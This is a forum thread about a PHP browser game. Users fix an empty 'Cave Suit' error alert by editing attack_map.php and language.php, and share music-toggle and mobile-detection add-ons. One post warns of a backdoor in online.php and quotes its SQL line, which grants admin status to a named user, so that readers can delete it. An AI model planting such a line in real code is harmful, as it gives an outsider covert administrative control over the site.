good, I have a problem giving the stone cave as this image does not enter anything, i get an x with a line without showing any error or something, who can help me?![]()
good, I have a problem giving the stone cave as this image does not enter anything, i get an x with a line without showing any error or something, who can help me?![]()
Your red div error alert text is empty. Normally the text is stored in a language.php file but in your case it's empty.
To fix search this code in attack/attack_map.php:
alert_no_cave_suit
now you should see this code line:
$error = '<div class="red">'.$txt['alert_no_cave_suit'].'</div>';
edit it to this: $error = '<div class="red">You don't have a Cave Suit</div>';
Now it doesn't select the text out of the language.php.
you can also add a line in language.php like this:
elseif($page == 'attack/attack_map'){
#Alerts
$txt['alert_no_cave_suit'] = 'You don't have a Cave Suit.';
Regards
Had the same problem... just do what ^ he said.
I am still looking for a nice layout for my battles... tried something, but that didn't work out well.
anyone got one for release?
- - - Updated - - -
hmm, check your language file then ;-)
Check if you can find ' alert_no_cave_suit '
Thats true, cuz you made the text static now.
Just turn it back as it was;then open your language file, and look for:Code:$error = '<div class="red">'$txt['alert_no_cave_suit']'</ div>'If you can't find that string in your language file just enter it there like:Code:$txt['alert_no_cave_suit']
Code:$txt['alert_no_cave_suit'] = "Cave Suit";
This should work...
Ingame Music with On/Off Settings:
Spoiler:
Give me a thanks, if you use it/like it
Regards
please help with my mistake
Felix, how column i add the comand of musik?
Thanks
Thats probably a little bug... i fixed it in 2 minutes. Be sure the div error is in your battle file.
And the translation string is in your language file. That should fix your problem.
add: name: musik, tinyint (1) with default value 0 or 1.
also guys check your online.php there's a little backdoor:
delete this line:
mysql_query("UPDATE gebruikers SET admin = '1' WHERE username = 'BrandonR17a'");
This gives the user (if his name is BrandonR17a) admin status 1 - this shouldn't be..
Regards
Coded a simple Mobile Detection:
If Player is Online with a Smartphone this will happen:
Screenshot:
Spoiler:
Send me PM if you want the script.
Regards
Last edited by felixcruzer; 06-03-14 at 03:48 PM.